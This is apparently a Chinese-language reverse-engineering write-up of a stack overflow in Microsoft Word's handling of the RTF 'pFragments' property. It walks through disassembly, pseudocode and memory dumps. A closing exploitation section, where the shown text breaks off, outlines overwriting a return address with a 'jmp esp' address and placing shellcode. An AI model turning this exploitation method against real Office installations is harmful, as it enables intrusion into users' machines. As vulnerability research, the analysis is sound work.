.text:32608E78 xor eax, eax ; eax = 0x0
.text:32608E7A inc eax ; eax = 0x1
.text:32608E7B
.text:32608E7B loc_32608E7B:
.text:32608E7B pop edi ; edi = 0x6
.text:32608E7C pop esi ; esi = 0x05D755C8(关键对象首地址)
.text:32608E7D pop ebp ; ebp = 0x0011B1D0
.text:32608E7E retn 10h
| |
↓ ↓
.text:326098C8 pop ebp ; ebp = 0x0011B1E8
.text:326098C9 retn 0Ch
| |
↓ ↓
.text:326CCBCA test eax, eax ; eax = 0x1
.text:326CCBCC jz loc_32C9663A ; 为0跳转,这里不跳转
.text:326CCBD2 mov eax, [ebp+arg_4] ; eax = [ebp+0xc] = [0x0011B1F4] = 0x0011B260(a2)
.text:326CCBD5 mov [eax], esi ; [eax] = [0x0011B260] = esi = 0x05D755C8(关键对象首地址)
.text:326CCBD7 xor eax, eax ; eax = 0x0
.text:326CCBD9 inc eax ; eax = 0x1
.text:326CCBDA
.text:326CCBDA loc_326CCBDA:
.text:326CCBDA pop esi ; esi = 0x023B0004;(ASCII "11111111acc84161304161314161324161334161344161354161364161374161384161394162304162314162324162334162")
.text:326CCBDB pop ebp ; ebp = 0x0011B268
.text:326CCBDC retn 8

  通过仔细分析,我们可以发现,对“pFragments”属性数据的处理逻辑,都在wwlib.dllsub_31FD724E函数中,但是分析了这么久,只找到了“6;5;”中的“6”“5”,也就是数组元素的大小数组元素个数都使用10进制表示的,未做其他判断。从前面rtf的文档中关于“pFragments”属性的介绍可以知道,数组元素的大小可以为2、4或8,这个并没有找到。我们通过IDA的F5反编译功能,查看sub_31FD724E的伪代码,或许会发现点什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
int __stdcall sub_31FD724E(int *a1)
{
......
_BYTE *temp_ptr; // esi
int el_size_ptr; // eax
int el_size; // edi
int el_count_ptr; // eax
int byte_num; // eax
HGLOBAL mem_ptr; // eax
int index; // edi
char *mem_lock_ptr; // edx
unsigned __int8 chr_hex; // cl
char chr; // cl
char new_char; // al
unsigned __int8 chr_hex1; // cl
_BYTE *group_part_ptr2; // edi
_BYTE *group_part_ptr; // ecx
char current_char; // al
int count1; // edi
_BYTE *array_element_ptr1; // eax
int count; // edi
_BYTE *array_element_ptr; // eax
int result; // eax
int case_num; // [esp+Ch] [ebp-64h]
int group_part_value1; // [esp+38h] [ebp-38h]
int group_part_value2; // [esp+3Ch] [ebp-34h]
int array_element_value; // [esp+40h] [ebp-30h]
int array_element_value1; // [esp+44h] [ebp-2Ch]
int Src; // [esp+48h] [ebp-28h]
LPCVOID pMem; // [esp+54h] [ebp-1Ch]
_BYTE *group_part_ptr1; // [esp+60h] [ebp-10h]
int *count2; // [esp+64h] [ebp-Ch]
int *key_object; // [esp+68h] [ebp-8h]
LPSTREAM el_count; // [esp+6Ch] [ebp-4h]
......

result = (*(int (__stdcall **)(int *, int, int *))(v44 + 344))(v42, v43, &case_num); // sub_329202C7,result = 1
if ( !result )
return result;
result = case_num; //case_num = 6
switch ( case_num )
{
......
case 6:
temp_ptr = (_BYTE *)*((_DWORD *)v39 + 0x1D9D);
el_size_ptr = *((_DWORD *)v39 + 0x1D9D);
break;
......
default:
......
}
// 6;5;11111111
while ( *temp_ptr != ';' )
{
if ( !*++temp_ptr )
goto LABEL_25;
}
*temp_ptr++ = 0;
LABEL_25:
el_size = sub_31BAF3C6(el_size_ptr); //判断pFragments的属性数组参数是否合法,合法则由字符转为整型,el_size = 6
el_count_ptr = (int)temp_ptr;
while ( *temp_ptr )
{
if ( *temp_ptr == ';' )
{
*temp_ptr++ = 0;
break;
}
++temp_ptr;
}
el_count = (LPSTREAM)sub_31BAF3C6(el_count_ptr); //判断pFragments的属性数组参数是否合法,合法则由字符转为整型,el_count = 5
// 如果el_size为0,MSO_379->MSO_501->sub_32608E17->sub_32608E81中的"32608EAE div ecx"会出错
// el_size被当做"div ecx"中的除数(ecx)
result = MSO_379(el_size, &key_object);
if ( !result )
return result;
// el_size如果为2,4,8会进行额外处理,非2,4,8则不会处理
switch ( el_size )
{
case 2:
count = 0;
if ( (signed int)el_count <= 0 )
goto LABEL_47;
while ( 1 )
{
array_element_ptr = temp_ptr;
while ( 1 )
{
if ( !*temp_ptr )
goto LABEL_88;
if ( *temp_ptr == ';' )
break;
++temp_ptr;
}
*temp_ptr++ = 0;
LABEL_88:
array_element_value = (unsigned __int16)sub_32046D00(array_element_ptr); // 10进制字符串转化为10进制整型值
if ( !(*(int (__stdcall **)(int *, int *, int))(*key_object + 12))(key_object, &array_element_value, count) )
return (*(int (__stdcall **)(int *))(*key_object + 4))(key_object);
if ( ++count >= (signed int)el_count )
goto LABEL_47;
}
case 4:
count1 = 0;
if ( (signed int)el_count <= 0 )
goto LABEL_47;
while ( 1 )
{
array_element_ptr1 = temp_ptr;
while ( 1 )
{
if ( !*temp_ptr )
goto LABEL_79;
if ( *temp_ptr == ';' )
break;
++temp_ptr;
}
*temp_ptr++ = 0;
LABEL_79:
array_element_value1 = sub_32046D00(array_element_ptr1);
if ( !(*(int (__stdcall **)(int *, int *, int))(*key_object + 12))(key_object, &array_element_value1, count1) )
return (*(int (__stdcall **)(int *))(*key_object + 4))(key_object);
if ( ++count1 >= (signed int)el_count )
goto LABEL_47;
}
case 8: // 当el_size为8时,为一组两个数字,如:(0,100)
group_part_ptr2 = 0;
group_part_ptr1 = 0;
count2 = 0;
if ( (signed int)el_count <= 0 )
goto LABEL_47;
while ( !*temp_ptr )
{
LABEL_72:
group_part_value1 = sub_32046D00(group_part_ptr1);
group_part_value2 = sub_32046D00(group_part_ptr2);
if ( !(*(int (__stdcall **)(int *, int *, int *))(*key_object + 12))(key_object, &group_part_value1, count2) )
return (*(int (__stdcall **)(int *))(*key_object + 4))(key_object);
count2 = (int *)((char *)count2 + 1);
if ( (signed int)count2 >= (signed int)el_count )
goto LABEL_47;
}
group_part_ptr = temp_ptr + 1;
while ( 1 )
{
current_char = *temp_ptr;
if ( *temp_ptr == ';' )
{
*temp_ptr++ = 0;
goto LABEL_72;
}
if ( current_char == '(' )
{
group_part_ptr1 = group_part_ptr;
}
else
{
if ( current_char == ',' )
{
group_part_ptr2 = group_part_ptr;
}
else if ( current_char != ')' )
{
goto LABEL_71;
}
*temp_ptr = 0;
}
LABEL_71:
++temp_ptr;
++group_part_ptr;
if ( !*temp_ptr )
goto LABEL_72;
}
}
byte_num = MSO_294(temp_ptr); // 计算pFragments属性值字节数,"11111111acc8....feff61}}}"不算括号
count2 = (int *)byte_num;
mem_ptr = GlobalAlloc(0x40u, (byte_num + 1) / 2); // 分配内存
index = 0;
mem_lock_ptr = (char *)GlobalLock(mem_ptr);
pMem = mem_lock_ptr;
if ( (signed int)count2 <= 0 )
goto LABEL_46;
// rtf中数据是以16进制形式存储的,这里将16进制数据转化为字符
// 如:3431 3631 -> 41 61
do
{
if ( pFragments_value[index] < (unsigned __int8)'0' )
goto LABEL_44;
*mem_lock_ptr = 0;
chr_hex = pFragments_value[index];
if ( chr_hex >= '0' && chr_hex <= '9' )
{
chr = chr_hex - '0';
LABEL_36:
*mem_lock_ptr = chr;
goto LABEL_37;
}
if ( chr_hex >= 'a' && chr_hex <= 'f' ) // 字母小写转大写
{
chr = (chr_hex | ' ') - 87; // 'a'->A(int)
goto LABEL_36;
}
LABEL_37:
*mem_lock_ptr *= 16; // 左移4位
new_char = *mem_lock_ptr; // 当前字符作为16进制高4位字符
do
++index;
while ( pFragments_value[index] < (unsigned __int8)'0' && index < (signed int)count2 );
chr_hex1 = pFragments_value[index];
if ( chr_hex1 < '0' || chr_hex1 > '9' )
{
if ( chr_hex1 >= 'a' && chr_hex1 <= 'f' ) // 字母小写转大写
*mem_lock_ptr = new_char + (chr_hex1 | ' ') - 87;
}
else
{
*mem_lock_ptr = chr_hex1 + new_char - '0';
}
++mem_lock_ptr;
LABEL_44:
++index;
}
while ( index < (signed int)count2 );
v39 = group_part_ptr1;
LABEL_46:
v17 = GlobalHandle(pMem); // 与GlobalLock作用相反
CreateStreamOnHGlobal(v17, 1, &el_count);
(*(void (__stdcall **)(int *, LPSTREAM))(*key_object + 0x38))(key_object, el_count);
el_count->lpVtbl->Release(el_count);
......
}

  通过对sub_31FD724E函数的伪代码分析可知,Word在解析完“pFragments”属性值数组参数el_size后,会利用一个switch-case语句对el_size的值进行判断,如果为2,4,8会进行额外处理,非2,4,8则默认不会处理。而如果为0的话,会在MSO_379->MSO_501->sub_32608E17->sub_32608E81中的"32608EAE div ecx"处出错,el_size被当做”div ecx”中的除数(ecx),造成除数为0的错误。

  继续往下执行,Word会对“pFragments”属性值数组参数后面的数据进行处理。在RTF中,字符“A”是以其16进制值“41”的16进制值“3431”进行存储的,所以Word会对RTF文档中的数据进行一次转化,转化过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Address   0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F   ASCII
023A0004 31 31 31 31 31 31 31 31 61 63 63 38 34 31 36 31 11111111acc84161
023A0014 33 30 34 31 36 31 33 31 34 31 36 31 33 32 34 31 3041613141613241
023A0024 36 31 33 33 34 31 36 31 33 34 34 31 36 31 33 35 6133416134416135
023A0034 34 31 36 31 33 36 34 31 36 31 33 37 34 31 36 31 4161364161374161
023A0044 33 38 34 31 36 31 33 39 34 31 36 32 33 30 34 31 3841613941623041
023A0054 36 32 33 31 34 31 36 32 33 32 34 31 36 32 33 33 6231416232416233
023A0064 34 31 36 32 33 34 34 31 36 32 33 35 34 31 36 32 4162344162354162
023A0074 33 36 34 31 36 32 33 37 34 31 36 32 33 38 34 31 3641623741623841
023A0084 36 32 33 39 34 31 36 33 33 30 34 31 36 33 33 31 6239416330416331
023A0094 34 31 36 33 33 32 34 31 36 33 33 33 34 31 36 33 4163324163334163
023A00A4 33 34 34 31 36 33 33 35 34 31 36 33 33 36 34 31 3441633541633641
023A00B4 36 33 33 37 34 31 36 33 33 38 34 31 36 33 33 39 6337416338416339
| | | |
↓ ↓ ↓ ↓
Address 0 1 2 3 4 5 6 7 8 9 A B C D E F ASCII
003AFF68 11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41 Aa0Aa1Aa2A
003AFF78 61 33 41 61 34 41 61 35 41 61 36 41 61 37 41 61 a3Aa4Aa5Aa6Aa7Aa
003AFF88 38 41 61 39 41 62 30 41 62 31 41 62 32 41 62 33 8Aa9Ab0Ab1Ab2Ab3
003AFF98 41 62 34 41 62 35 41 62 36 41 62 37 41 62 38 41 Ab4Ab5Ab6Ab7Ab8A
003AFFA8 62 39 41 63 30 41 63 31 41 63 32 41 63 33 41 63 b9Ac0Ac1Ac2Ac3Ac
003AFFB8 34 41 63 35 41 63 36 41 63 37 41 63 38 41 63 39 4Ac5Ac6Ac7Ac8Ac9
003AFFC8 41 64 30 41 64 31 41 64 32 41 64 33 41 64 34 41 Ad0Ad1Ad2Ad3Ad4A
003AFFD8 64 35 41 64 36 41 64 37 41 64 38 41 64 39 41 65 d5Ad6Ad7Ad8Ad9Ae
003AFFE8 30 41 65 31 41 65 32 41 65 33 41 65 34 41 65 35 0Ae1Ae2Ae3Ae4Ae5
003AFFF8 41 65 36 41 65 37 41 65 38 41 65 39 41 66 30 41 Ae6Ae7Ae8Ae9Af0A
003B0008 66 31 41 66 32 41 66 33 41 66 34 41 66 35 41 66 f1Af2Af3Af4Af5Af
003B0018 36 41 66 37 41 66 38 41 66 39 41 67 30 41 67 31 6Af7Af8Af9Ag0Ag1

  经过测试“pFragments”属性值数组参数中的el_size可以是除了“0,2,4,8”之外的任何10进制正整数,如果为“0,2,4,8”中的任意一个,都会造成Word奔溃。而el_count则无限制,任何10进制整数都可以,负的也行。

0x34 pFragments属性数据中“11111111acc8”的含义

环境:Win7&Office2007

  前面我们已经知道“11111111acc8”中的“acc8”为Word将pFragments属性数据复制到上的数据长度,可是为什么要偏移8字节呢,这8字节有什么限制吗?这些都是要搞清楚的。

  从前面对奔溃原因溯源的调试中可以知道,复制数据长度“0xc8ac”是从关键对象(0x066a55e0)的成员变量中取出的,所以,我们知道对其下内存写断点,就可以断在对此成员变量赋值的位置,也就是对“11111111acc8”进行解析的代码处。

找关键位置所用方法:

  • 1、在Attach目标程序后,对0x066a55e0对象的第4个dword内存写断点(0x066a55ec为复制长度0xc8ac所在对象成员变量的内存地址)。
  • 2、再运行程序,如果已经执行到之前调试奔溃时代码区域的最顶层函数sub_32E5955E,还未断下来,则关闭调试器,重新再来一遍
  • 3、直到某一次程序对关键对象的地址分配到0x066a55e0,则会断在对关键对象初始化的位置,这时注意OllyDbg的信息窗口中的信息,是否是对关键对象0x066a55e0第4个dword赋值复制数据长度“0xc8ac”,如果是,则已经定位到解析“11111111acc8”的代码处。
  • 4、然后根据调用堆栈,可以找到当前函数地址,以及当前函数的调用地址,及其父函数等等。

  如此,我们已经找到解析“11111111acc8”的代码片段。“acc8”偏移8字节的原因以及这8字节是否有什么限制的代码应该就在附近,我们对找到的代码片段详细分析,画“<----”的为关键位置,处理后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
.text:319C0631 loc_319C0631:                           ; CODE XREF: sub_31FD724E-616C6D↑j
.text:319C0631 lea eax, [ebp+el_count] ; eax = ebp-0x4 = 0x0011B268-0x4 = 0x0011B264
.text:319C0634 push eax ; ppstm ; arg3: eax = 0x0011B264
.text:319C0635 push 1 ; fDeleteOnRelease ; arg2: 1
.text:319C0637 push [ebp+pMem] ; pMem ; arg1: [ebp-0x1c] = [0x0011B268-0x1c] = [0x0011B24c] = 0x0026FAD8
; 0026FAD8 11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41 Aa0Aa1Aa2A
; 0026FAE8 61 33 41 61 34 41 61 35 41 61 36 41 61 37 41 61 a3Aa4Aa5Aa6Aa7Aa
; 0026FAF8 38 41 61 39 41 62 30 41 62 31 41 62 32 41 62 33 8Aa9Ab0Ab1Ab2Ab3
; 0026FB08 41 62 34 41 62 35 41 62 36 41 62 37 41 62 38 41 Ab4Ab5Ab6Ab7Ab8A
; 0026FB18 62 39 41 63 30 41 63 31 41 63 32 41 63 33 41 63 b9Ac0Ac1Ac2Ac3Ac
; 0026FB28 34 41 63 35 41 63 36 41 63 37 41 63 38 41 63 39 4Ac5Ac6Ac7Ac8Ac9
; 0026FB38 41 64 30 41 64 31 41 64 32 41 64 33 41 64 34 41 Ad0Ad1Ad2Ad3Ad4A
; 0026FB48 64 35 41 64 36 41 64 37 41 64 38 41 64 39 41 65 d5Ad6Ad7Ad8Ad9Ae
; 0026FB58 30 41 65 31 41 65 32 41 65 33 41 65 34 41 65 35 0Ae1Ae2Ae3Ae4Ae5
; 0026FB68 41 65 36 41 65 37 41 65 38 41 65 39 41 66 30 41 Ae6Ae7Ae8Ae9Af0A
; 0026FB78 66 31 41 66 32 41 66 33 41 66 34 41 66 35 41 66 f1Af2Af3Af4Af5Af
; 0026FB88 36 41 66 37 41 66 38 41 66 39 41 67 30 41 67 31 6Af7Af8Af9Ag0Ag1
.text:319C063A call ds:GlobalHandle ; GlobalHandle函数与GlobalLock函数作用相反
.text:319C0640 push eax ; hGlobal ; arg1: eax = 0x0026FAD8
.text:319C0641 call ds:CreateStreamOnHGlobal ; CreateStreamOnHGlobal函数从指定内存创建流对象
.text:319C0647 mov eax, [ebp+var_8] ; eax = [ebp-0x8] = [0x0011B268-0x8] = [0x0011B260] = 0x066A55E0(关键对象首地址)
.text:319C064A push [ebp+el_count] ; arg2: [ebp-0x4] = [0x0011B268-0x4] = [0x0011B264] = 0x06454B30(对象首地址)
.text:319C064D mov ecx, [eax] ; ecx = [eax] = [0x066A55E0] = 0x32A0C8C4(虚表指针)
.text:319C064F push eax ; arg1: eax = 0x066A55E0(关键对象首地址)
.text:319C0650 call dword ptr [ecx+38h] ; mso.32E14136
| |
↓ ↓
*********************************************************

所属模块: mso.dll
signed int __stdcall sub_32E14136(int a1, int a2)

*********************************************************
.text:32E14136 push ebp ; ebp = 0x0011B268
.text:32E14137 mov ebp, esp ; ebp = esp = 0x0011B1E8
.text:32E14139 push ecx ; ecx = 0x32A0C8C4(虚表指针)
.text:32E1413A push ecx ; ecx = 0x32A0C8C4(虚表指针)
.text:32E1413B push ebx ; ebx = 0x02340000
.text:32E1413C mov ebx, [ebp+arg_4] ; ebx = [ebp+0xc] = [0x0011B1F4] = 0x06454B30(a2)(对象首地址)
.text:32E1413F push esi ; esi = 0x023A0004, (ASCII "11111111acc84161304161314161324161334161344161354161364161374161384161394162304162314162324162334162")
.text:32E14140 push edi ; edi = 0x00020026(pFragments属性值字节数,"11111111acc8....feff61}}}"不算括号)
.text:32E14141 lea eax, [ebp+arg_4] ; eax = ebp+0xc = 0x0011B1F4(a2地址)
.text:32E14144 push eax ; arg2: eax = 0x0011B1F4(a2地址)
.text:32E14145 push ebx ; arg1: ebx = 0x06454B30(a2)(对象首地址)
.text:32E14146 call sub_33287CC1 ; [0x0011B1F4] = 0x06454B30 -> 0x06451111 <-----
.text:32E1414B test eax, eax ; eax = 0x1
.text:32E1414D jz short loc_32E141C5 ; 为0则跳转,这里不跳转
.text:32E1414F lea eax, [ebp+var_4] ; eax = ebp-0x4 = 0x0011B1E4
.text:32E14152 push eax ; arg2: eax = 0x0011B1E4
.text:32E14153 push ebx ; arg1: ebx = 0x06454B30(a2)(对象首地址)
.text:32E14154 call sub_33287CC1 ; [0x0011B1E4] = 0x32A0C8C4 -> 0x32A01111 <-----
.text:32E14159 test eax, eax ; eax = 0x1
.text:32E1415B jz short loc_32E141C5 ; 为0则跳转,这里不跳转
.text:32E1415D lea eax, [ebp+var_8] ; eax = ebp-8 = 0x0011B1E0
.text:32E14160 push eax ; arg2: eax = 0x0011B1E0
.text:32E14161 push ebx ; arg1: ebx = 0x06454B30(a2)(对象首地址)
.text:32E14162 call sub_33287CC1 ; [0x0011B1E0] = 0x32A0C8C4 -> 0x32A0C8AC <-----
.text:32E14167 test eax, eax ; eax = 0x1
.text:32E14169 jz short loc_32E141C5 ; 为0则跳转,这里不跳转
.text:32E1416B mov ax, word ptr [ebp+arg_4] ; ax = [ebp+0xc] = [0x0011B1F4] = 0x1111
.text:32E1416F cmp ax, [ebp+var_4] ; ax = 0x1111,[ebp-0x4] = [0x0011B1E4] = 0x1111 <-----两个word进行比较
.text:32E14173 ja short loc_32E141C5 ; 大于则跳转,这里不跳转
.text:32E14175 mov esi, [ebp+arg_0] ; esi = [ebp+0x8] = [0x0011B1F0] = 0x066A55E0(关键对象首地址)(a1)
.text:32E14178 push dword ptr [esi+10h] ; arg1: [esi+0x10] = [0x066A55E0+0x10] = [0x066A55F0] = 0x066A5618
.text:32E1417B call _MsoFreePv@4 ; MsoFreePv(x) ;
.text:32E14180 mov ax, [ebp+var_8] ; ax = [ebp-0x8] = [0x0011B1E8-0x8] = [0x0011B1E0] = 0xC8AC(复制数据长度)
.text:32E14184 mov [esi+0Ch], ax ; [esi+0xc] = [0x066A55E0+0xc] = [0x066A55EC] = ax = 0xC8AC(复制数据长度) <---- 对关键对象成员变量赋值
.text:32E14188 movzx eax, [ebp+var_4] ; eax = [ebp-0x4] = [0x0011B1E4] = 0x00001111
.text:32E1418C push eax ; arg3: eax = 0x00001111
.text:32E1418D push 4 ; arg2: 0x4
.text:32E1418F lea edi, [esi+4] ; edi = esi+4 = 0x066A55E0+4 = 0x066A55E4
.text:32E14192 push edi ; arg1: edi = 0x066A55E4
.text:32E14193 call MSO_501 ; 对关键对象0x066A55E0中的成员变量赋值
.text:32E14198 test eax, eax ; eax = 0x1
.text:32E1419A jz short loc_32E141C5 ; 为0则跳转,这里不跳转
.text:32E1419C movzx eax, [ebp+var_8] ; eax = [0x0011B1E8-0x8] = [0x0011B1E0] = 0x0000C8AC
.text:32E141A0 movzx ecx, word ptr [ebp+arg_4] ; ecx = [ebp+0xc] = [0x0011B1F4] = 0x00001111
.text:32E141A4 imul eax, ecx ; eax = eax*ecx = 0x0D60BF6C
.text:32E141A7 push eax ; arg3: eax = 0x0D60BF6C
.text:32E141A8 push dword ptr [esi+10h] ; arg2: [esi+0x10] = [0x066A55E0+0x10] = [0x066A55F0] = 0x1D400000
.text:32E141AB push ebx ; arg1: ebx = 0x06454B30(a2)(对象首地址)
.text:32E141AC call sub_3277BE91 ;
| |
↓ ↓
******************************************************************

所属模块: mso.dll
signed int __stdcall sub_3277BE91(int a1, int a2, int a3)

******************************************************************
.text:3277BE91 push ebp ; ebp = 0x0011B1E8
.text:3277BE92 mov ebp, esp ; ebp = esp = 0x0011B1C0
.text:3277BE94 mov eax, [ebp+arg_0] ; eax = [ebp+8] = [0x0011B1C0+8] = [0x0011B1C8] = 0x06454B30(a1)(对象首地址)
.text:3277BE97 mov ecx, [eax] ; ecx = [eax] = [0x06454B30] = 0x72580D38(ole32.dll中的虚表指针)
.text:3277BE99 push esi ; esi = 0x066A55E0(关键对象首地址)
.text:3277BE9A mov esi, [ebp+arg_8] ; esi = [ebp+0x10] = [0x0011B1C0+0x10] = [0x0011B1D0] = 0x0D60BF6C(a3)
.text:3277BE9D lea edx, [ebp+arg_0] ; edx = ebp+0x8 = 0x0011B1C0+0x8 = 0x0011B1C8(a1地址)
.text:3277BEA0 push edx ; arg4: edx = 0x0011B1C8(a1地址)
.text:3277BEA1 push esi ; arg3: esi = 0x0D60BF6C(a3)
.text:3277BEA2 push [ebp+arg_4] ; arg2: [ebp+0xC] = [0x0011B1C0+0xC] = [0x0011B1CC] = 0x1D400000(a2)
.text:3277BEA5 push eax ; arg1: eax = 0x06454B30(a1)(对象首地址)
.text:3277BEA6 call dword ptr [ecx+0Ch] ; ole32.72561D9A,CMemStm::Read(void *,ulong,ulong *)
; 1D400000 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
; 1D400010 61 35 41 61 36 41 61 37 41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
; 1D400020 30 41 62 31 41 62 32 41 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
; 1D400030 41 62 36 41 62 37 41 62 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
; 1D400040 63 31 41 63 32 41 63 33 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
; 1D400050 36 41 63 37 41 63 38 41 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
; 1D400060 41 64 32 41 64 33 41 64 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
; 1D400070 64 37 41 64 38 41 64 39 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
; 1D400080 32 41 65 33 41 65 34 41 65 35 41 65 36 41 65 37 2Ae3Ae4Ae5Ae6Ae7
; 1D400090 41 65 38 41 65 39 41 66 30 41 66 31 41 66 32 41 Ae8Ae9Af0Af1Af2A
; 1D4000A0 66 33 41 66 34 41 66 35 41 66 36 41 66 37 41 66 f3Af4Af5Af6Af7Af
; 1D4000B0 38 41 66 39 41 67 30 41 67 31 41 67 32 41 67 33 8Af9Ag0Ag1Ag2Ag3
.text:3277BEA9 test eax, eax ; eax = 0x0
.text:3277BEAB jl loc_32CE0534 ; 小于跳转,这里不跳转
.text:3277BEB1 cmp [ebp+arg_0], esi ; [ebp+0x8] = [0x0011B1C0+0x8] = [0x0011B1C8] = 0x0001000D,esi = 0x0D60BF6C(a3)
.text:3277BEB4 jnz loc_32CE053B ; 不为0跳转,这里跳转
| |
↓ ↓
.text:32CE053B loc_32CE053B:
.text:32CE053B xor eax, eax ; eax = 0
.text:32CE053D jmp loc_3277BEBD ;
| |
↓ ↓
.text:3277BEBD loc_3277BEBD:
.text:3277BEBD pop esi ; esi = 0x066A55E0(关键对象首地址)
.text:3277BEBE pop ebp ; ebp = 0x0011B1E8
.text:3277BEBF retn 0Ch ;
| |
↓ ↓
.text:32E141B1 test eax, eax ; eax = 0x0
.text:32E141B3 jz short loc_32E141C5 ; 为0跳转,这里跳转
| |
↓ ↓
.text:32E141C5 loc_32E141C5:
.text:32E141C5
.text:32E141C5 xor eax, eax ; eax = 0x0
.text:32E141C7 jmp short loc_32E141BE ;
| |
↓ ↓
.text:32E141BE loc_32E141BE:
.text:32E141BE pop edi ; edi = 0x00020026
.text:32E141BF pop esi ; esi = 0x023A0004, (ASCII "11111111acc84161304161314161324161334161344161354161364161374161384161394162304162314162324162334162")
.text:32E141C0 pop ebx ; ebx = 0x02340000
.text:32E141C1 leave
.text:32E141C2 retn 8

  经过详细分析,我们可以看到,在sub_32E14136函数中三次调用sub_33287CC1函数,将“1111”“1111”“C8AC”分别解析出来,并对先解析出来的“1111”后解析出来的“1111”进行比较,如果先解析出来的“1111”大于后解析出来的“1111”,则退出,不在执行后面的处理。这样看来,“11111111”中的前4个字节小端序解析出来的数应该小于后4个字节小端序解析出来的数,经过测试,“11112222”也是可行的。还有,在地址0x32E14184处的指令,将复制数据长度0xC8AC复制给了关键对象0x066A55E0的成员变量。

0x40 漏洞利用

0x41 方法一:覆盖返回地址

环境:XP & Office2003

  触发异常的指令“30ED442C rep movsd”位于sub_30ED4406函数中,“rep movsd”指令复制内存数据时的目的地址,是通过sub_30ED4406函数的第二个参数传进来的,它其实是sub_30ED4406函数的父函数sub_30F0B5C2中定义的一个局部变量,所以pFragements属性值数据栈上的起始地址位于父函数sub_30F0B5C2栈帧中,我们要覆盖的也是父函数sub_30F0B5C2返回地址

  根据前面的分析我们可以知道,当执行到指令“30ED442C rep movsd”处时,栈布局是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:30ED442C F3 A5        rep movsd   ; rep movs dword ptr es:[edi],dword ptr [esi]
栈数据:
001237B4 01C40824 <-esp
001237B8 001239A4
001237BC 30F0B5FB 返回到 mso.30F0B5FB
001237C0 01C40824
001237C4 001237DC
001237C8 00000000
001237CC 00000000
001237D0 00000000
001237D4 00000000
001237D8 0000FF35
001237DC FFFF0000 <-pFragments缓冲区起始地址
001237E0 05000000
001237E4 00000000
001237E8 0000FFFF
001237EC 0012381C <-ebp
001237F0 30F0B56B 返回到 mso.30F0B56B 来自 mso.30F0B5C2

  pFragments缓冲区起始地址距保存函数sub_30F0B5C2的返回地址的栈地址的偏移为0x14字节,所以在pFragments属性值中的复制长度之后再填充0x14字节数据,即可覆盖到返回地址。我们这里使用“jmp esp”指令的地址覆盖其返回地址。由于函数sub_30F0B5C2在返回时,会弹出0x14字节的栈空间,所以,返回地址之后不能直接放置Shellcode,需要填充0x14字节的垃圾数据,然后再放置Shellcode。这样,执行“jmp esp”指令的时候,就可以直接跳转到Shellcode执行了。

1
2
3
4
5
.text:30F0B6B8 loc_30F0B6B8:                           ; CODE XREF: sub_30F0B5C2+184C37↓j
.text:30F0B6B8 pop edi
.text:30F0B6B9 leave
.text:30F0B6BA retn 14h <----
.text:30F0B6BA sub_30F0B5C2 endp

  在写Exp的过程中,遇到一个问题。由于复制数据指令“30ED442C rep movsd”的位置距离函数sub_30F0B5C2的返回指令"30F0B6BA retn 14h"还有很多指令需要执行,但是已经被破坏了,所以可能会造成这些指令执行异常,我们需要构造关键的数据,使其可以成功执行到函数sub_30F0B5C2的返回指令"30F0B6BA retn 14h"。这些指令会访问调用函数sub_30F0B5C2时,压入栈的参数,也就是我们覆盖的函数sub_30F0B5C2返回地址之后的0x14字节栈空间。如果我们全用“a”覆盖这片栈空间,就会造成异常,异常信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
*************************************************************************************************

所属模块: mso.dll
char __userpurge sub_30F0B5C2@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)

*************************************************************************************************
......
.text:30F0B5F8 call dword ptr [eax+1Ch] ; sub_30ED4406
.text:30F0B5FB mov eax, [ebp+arg_C] ; eax = [ebp+0x14] = 0x001237ec+0x14] = [0x00123800] = 0xAAAAAAAA(a4)
.text:30F0B5FE push [ebp+arg_10] ; arg3: [ebp+0x18] = 0x001237ec+0x18] = [0x00123804] = 0xAAAAAAAA(a5)
